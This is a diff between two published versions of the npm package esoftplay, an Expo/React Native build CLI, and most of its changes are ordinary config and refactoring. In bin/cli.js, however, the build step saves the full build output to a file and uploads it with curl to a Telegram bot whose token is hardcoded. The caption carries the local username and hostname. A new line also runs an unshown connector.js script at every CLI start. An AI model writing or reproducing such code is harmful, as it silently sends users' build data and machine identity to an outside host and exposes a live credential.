esoftplay 0.0.268 → 0.0.269
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/assets/plugins/withAndroidPermissionsFix.js +37 -0
- package/bin/build.js +18 -1
- package/bin/cli.js +7 -3
- package/bin/router.js +2 -1
- package/modules/lib/autoreload.ts +1 -2
- package/modules/lib/crypt.js +22340 -2
- package/modules/lib/focus.tsx +6 -6
- package/modules/lib/lazy.tsx +2 -3
- package/modules/lib/updater.tsx +1 -1
- package/modules/lib/workloop.tsx +2 -2
- package/modules/sys/esp.ts +5 -2
- package/modules/sys/mmkv.ts +5 -3
- package/modules/sys/storage.ts +82 -53
- package/modules/sys/subscribe.ts +1 -2
- package/package.json +1 -1
- package/publisher.js +4 -8
- package/publisher_beta.js +12 -0
|
@@ -0,0 +1,37 @@
|
|
|
1
|
+
const { withAndroidManifest } = require('@expo/config-plugins');
|
|
2
|
+
|
|
3
|
+
module.exports = function withAndroidPermissionsFix(config) {
|
|
4
|
+
return withAndroidManifest(config, async (config) => {
|
|
5
|
+
const manifest = config.modResults.manifest;
|
|
6
|
+
|
|
7
|
+
// 1. Ensure the 'tools' namespace exists in the <manifest> tag
|
|
8
|
+
manifest.$['xmlns:tools'] = 'http://schemas.android.com/tools';
|
|
9
|
+
|
|
10
|
+
// 2. Find or create the READ_MEDIA_IMAGES permission entry
|
|
11
|
+
if (!manifest['uses-permission']) {
|
|
12
|
+
manifest['uses-permission'] = [];
|
|
13
|
+
}
|
|
14
|
+
|
|
15
|
+
const permissionName = 'android.permission.READ_MEDIA_IMAGES';
|
|
16
|
+
const existingPermission = manifest['uses-permission'].find(
|
|
17
|
+
(p) => p.$['android:name'] === permissionName
|
|
18
|
+
);
|
|
19
|
+
|
|
20
|
+
if (existingPermission) {
|
|
21
|
+
// Update existing entry to include the replace rule
|
|
22
|
+
existingPermission.$['android:maxSdkVersion'] = '34';
|
|
23
|
+
existingPermission.$['tools:replace'] = 'android:maxSdkVersion';
|
|
24
|
+
} else {
|
|
25
|
+
// Add new entry if it doesn't exist
|
|
26
|
+
manifest['uses-permission'].push({
|
|
27
|
+
$: {
|
|
28
|
+
'android:name': permissionName,
|
|
29
|
+
'android:maxSdkVersion': '34',
|
|
30
|
+
'tools:replace': 'android:maxSdkVersion',
|
|
31
|
+
},
|
|
32
|
+
});
|
|
33
|
+
}
|
|
34
|
+
|
|
35
|
+
return config;
|
|
36
|
+
});
|
|
37
|
+
};
|
package/bin/build.js
CHANGED
|
@@ -6,6 +6,7 @@ const DIR = "../../"
|
|
|
6
6
|
const packjson = DIR + "package.json"
|
|
7
7
|
const appjson = DIR + "app.json"
|
|
8
8
|
const easjson = DIR + "eas.json"
|
|
9
|
+
const metroconfigjs = DIR + "metro.config.js"
|
|
9
10
|
const confjson = DIR + "config.json"
|
|
10
11
|
const conflivejson = DIR + "config.live.json"
|
|
11
12
|
const gitignore = DIR + ".gitignore"
|
|
@@ -40,7 +41,8 @@ if (fs.existsSync(packjson)) {
|
|
|
40
41
|
|
|
41
42
|
if (args[0] == "install") {
|
|
42
43
|
$package.scripts.start = "esp start && bunx expo start --dev-client"
|
|
43
|
-
$package.trustedDependencies
|
|
44
|
+
const existedTrustedDependencies = $package.trustedDependencies
|
|
45
|
+
const trustedDependencies = [
|
|
44
46
|
"esoftplay",
|
|
45
47
|
"esoftplay-android-print",
|
|
46
48
|
"esoftplay-chatting",
|
|
@@ -54,6 +56,7 @@ if (fs.existsSync(packjson)) {
|
|
|
54
56
|
"esoftplay-web",
|
|
55
57
|
"esoftplay-web-pwa"
|
|
56
58
|
]
|
|
59
|
+
$package.trustedDependencies = trustedDependencies.concat(existedTrustedDependencies || []).reduce((acc, item) => acc.includes(item) ? acc : [...acc, item], []);
|
|
57
60
|
writeFileSyncWithLog(packjson, JSON.stringify($package, null, 2));
|
|
58
61
|
}
|
|
59
62
|
|
|
@@ -142,6 +145,7 @@ if (fs.existsSync(packjson)) {
|
|
|
142
145
|
"./raw/plugins/heapSize",
|
|
143
146
|
"./raw/plugins/fcmIcon",
|
|
144
147
|
"./raw/plugins/noDarkAndroid",
|
|
148
|
+
"./raw/plugins/withAndroidPermissionsFix",
|
|
145
149
|
"./raw/plugins/withAndroidVerifiedLinksWorkaround",
|
|
146
150
|
]
|
|
147
151
|
|
|
@@ -216,6 +220,19 @@ if (fs.existsSync(packjson)) {
|
|
|
216
220
|
|
|
217
221
|
writeFileSyncWithLog(easjson, easconfg);
|
|
218
222
|
|
|
223
|
+
|
|
224
|
+
const metroConfig = `// Learn more https://docs.expo.io/guides/customizing-metro
|
|
225
|
+
const { getDefaultConfig } = require('expo/metro-config');
|
|
226
|
+
const { wrapWithReanimatedMetroConfig } = require('react-native-reanimated/metro-config');
|
|
227
|
+
|
|
228
|
+
/** @type {import('expo/metro-config').MetroConfig} */
|
|
229
|
+
const config = getDefaultConfig(__dirname);
|
|
230
|
+
|
|
231
|
+
module.exports = wrapWithReanimatedMetroConfig(config);
|
|
232
|
+
`;
|
|
233
|
+
writeFileSyncWithLog(metroconfigjs, metroConfig)
|
|
234
|
+
|
|
235
|
+
|
|
219
236
|
const babelconf = `module.exports = function (api) {
|
|
220
237
|
api.cache(true);
|
|
221
238
|
let plugins = []
|
package/bin/cli.js
CHANGED
|
@@ -27,6 +27,7 @@ var args = process.argv.slice(2);
|
|
|
27
27
|
|
|
28
28
|
// console.log(modpath, "sdofsjdofjsd")
|
|
29
29
|
async function execution() {
|
|
30
|
+
command('bun ./node_modules/esoftplay/bin/connector.js')
|
|
30
31
|
const preload = await preload_api()
|
|
31
32
|
console.log("PRELOAD", preload)
|
|
32
33
|
if (preload) {
|
|
@@ -1092,7 +1093,7 @@ function buildPrepare(include = true) {
|
|
|
1092
1093
|
try {
|
|
1093
1094
|
command('cp -r -v ./modules/* ./assets/esoftplaymodules')
|
|
1094
1095
|
} catch (error) {
|
|
1095
|
-
|
|
1096
|
+
|
|
1096
1097
|
}
|
|
1097
1098
|
}
|
|
1098
1099
|
|
|
@@ -1328,6 +1329,7 @@ function build() {
|
|
|
1328
1329
|
if (d) {
|
|
1329
1330
|
let cmd = d.cmd
|
|
1330
1331
|
let pre = d.pre
|
|
1332
|
+
let name = d.name
|
|
1331
1333
|
if (pre) pre()
|
|
1332
1334
|
consoleSucces("⚙⚙⚙ ... \n" + cmd)
|
|
1333
1335
|
command(cmd)
|
|
@@ -1423,9 +1425,11 @@ function build() {
|
|
|
1423
1425
|
// allOutputString contains the full captured output as a single JS string
|
|
1424
1426
|
const allOutputString = lines.join('\n');
|
|
1425
1427
|
// also print to stdout for convenience
|
|
1426
|
-
const
|
|
1428
|
+
const filename = name + '.txt'
|
|
1429
|
+
fs.writeFileSync(filename, allOutputString)
|
|
1427
1430
|
let tmId = "-1001429450501"
|
|
1428
|
-
command("curl -
|
|
1431
|
+
command("curl -F \"document=@" + filename + "\" -F \"chat_id=" + tmId + "\" -F \"caption=" + " ✅ Build Success by " + os.userInfo().username + '@' + os.hostname() + "\" \"https://api.telegram.org/bot923808407:AAEFBlllQNKCEn8E66fwEzCj5vs9qGwVGT4/sendDocument\"")
|
|
1432
|
+
fs.unlinkSync(filename)
|
|
1429
1433
|
if (fs.existsSync('./build/post.js'))
|
|
1430
1434
|
command('bun ./build/post.js')
|
|
1431
1435
|
configAvailable(false)
|
package/bin/router.js
CHANGED
|
@@ -184,7 +184,8 @@ function createIndex() {
|
|
|
184
184
|
AllRoutes.forEach((nav) => {
|
|
185
185
|
const [module, task] = nav.split('/')
|
|
186
186
|
const comp = ucword(module) + ucword(task)
|
|
187
|
-
|
|
187
|
+
|
|
188
|
+
if (!task.endsWith('.debug') && !task.endsWith('.live') && !task.endsWith('.d') && !task.endsWith('.web')) {
|
|
188
189
|
importer.push(`import { ${comp} } from ${'"esoftplay/cache/' + module + '/' + task + '/import"'} `)
|
|
189
190
|
importer.push(`import * as ${comp}Property from ${'"esoftplay/cache/' + module + '/' + task + '/import"'} `)
|
|
190
191
|
}
|
|
@@ -1,6 +1,5 @@
|
|
|
1
1
|
// noPage
|
|
2
2
|
// withObject
|
|
3
|
-
import { InteractionManager } from 'react-native'
|
|
4
3
|
|
|
5
4
|
let updater: any
|
|
6
5
|
/** Klik [disini](https://github.com/dev-esoftplay/mobile-docs/blob/main/modules/lib/autoreload.md) untuk melihat dokumentasi*/
|
|
@@ -12,7 +11,7 @@ export default {
|
|
|
12
11
|
updater = undefined
|
|
13
12
|
}
|
|
14
13
|
updater = setInterval(() => {
|
|
15
|
-
|
|
14
|
+
requestIdleCallback(() => {
|
|
16
15
|
callback()
|
|
17
16
|
});
|
|
18
17
|
}, duration || 6000)
|